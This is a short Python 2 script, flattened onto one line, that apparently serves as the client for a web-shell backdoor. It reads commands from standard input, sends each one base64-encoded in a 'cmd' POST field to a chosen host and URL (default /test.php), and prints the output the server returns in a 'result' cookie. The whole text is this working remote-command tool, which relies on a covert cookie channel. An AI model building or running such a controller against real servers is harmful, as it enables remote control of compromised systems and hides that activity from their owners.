import httplib import urllib import optparse import Cookie """ Christian Usage: The following program reads strings from the standard input and sends them to the server ([host] [port]) in the POST request on URL [url] in field 'cmd'. The result is read from the COOKIE "result" and displayed. """ def send_cmd_http_post(host, port=80, base64command="base64command", url="/test.php"): headers = { "Content-type": "application/x-www-form-urlencoded" } params = urllib.urlencode({'cmd': base64command}) conn = httplib.HTTPConnection(host, port) conn.request("POST", url, params, headers) response = conn.getresponse() response_headers = dict(response.getheaders()) if ('set-cookie' in response_headers): cookie = Cookie.BaseCookie(response_headers['set-cookie']) return cookie["result"].value return "result-cookie-not-found" if __name__ == '__main__': usage = "usage: %prog host port url" parser = optparse.OptionParser(usage=usage) (options, args) = parser.parse_args() if len(args) != 3: parser.error("incorrect number of arguments") host, port, url = args while (True): base64command = raw_input() print send_cmd_http_post(host, int(port), base64command, url)